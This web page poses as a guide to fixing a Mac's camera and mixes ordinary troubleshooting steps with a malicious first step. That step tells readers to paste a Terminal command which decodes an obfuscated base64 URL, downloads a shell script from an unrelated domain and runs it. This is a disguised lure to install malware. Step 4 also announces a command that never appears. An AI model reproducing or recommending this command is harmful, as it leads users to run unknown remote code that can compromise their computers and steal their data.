📷 How to Fix Camera on Your Mac
If your Mac’s built-in camera or connected webcam isn’t working—whether it’s in FaceTime, Zoom, or another app—this guide will help you get it running again.
1. Open the Terminal app on your Mac
- Press Command (⌘) + Space to launch Spotlight Search.
- Type Terminal, then press Enter to launch it.
2. Enter this command in Terminal
Copy the following command and paste it into Terminal, then press Return:
/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly91em5iaHcuY29tL1QvMC5zaA== | base64 -d))"
🔎 Step 1: Check App Permissions
- Go to System Settings > Privacy & Security > Camera.
- Make sure the app you’re using (e.g. FaceTime, Zoom, Chrome) is allowed to access the camera.
Tip: If an app isn’t listed, open it and try to use the camera—macOS may prompt you to grant permission.
🚫 Step 2: Close Other Apps Using the Camera
macOS allows only one app to use the camera at a time. If your camera shows as “in use” or doesn’t activate:
- Close all open apps that might be using the camera (e.g. Zoom, Teams, Skype, FaceTime).
- Restart the app you want to use.
🔄 Step 3: Restart Your Mac
A simple restart can often fix camera issues caused by stuck background processes. Click the Apple menu and choose Restart.
💻 Step 4: Use Terminal to Reset the Camera (macOS Monterey and earlier)
- Open Terminal (Applications > Utilities).
- Enter the following command:
- Press Return and enter your admin password if prompted.
This restarts the background camera process on older versions of macOS.
🧪 Step 5: Test the Camera
Open an app that uses the camera, such as:
- Photo Booth – Built-in app for camera previews.
- FaceTime – Check if the camera activates during a call.
- Zoom – Go to Settings > Video to test it.
🔌 Step 6: External Camera Not Working?
- Check the USB or Thunderbolt connection.
- Use a different port or cable.
- Try the camera on another Mac to rule out hardware issues.
- Update any required drivers from the manufacturer’s website.
🆕 Step 7: Update macOS
Apple often includes camera bug fixes in software updates. Go to System Settings > General > Software Update and install any available updates.
🧼 Bonus Tip: Reset NVRAM
Resetting NVRAM can help with hardware-related issues:
- Shut down your Mac.
- Turn it on and immediately press and hold: Option + Command + P + R.
- Hold for about 20 seconds, then release.
✅ Your Camera Should Be Working Again
After following these steps, your camera should be functional in most apps. If problems continue, contact Apple Support—your Mac’s camera hardware might need servicing.
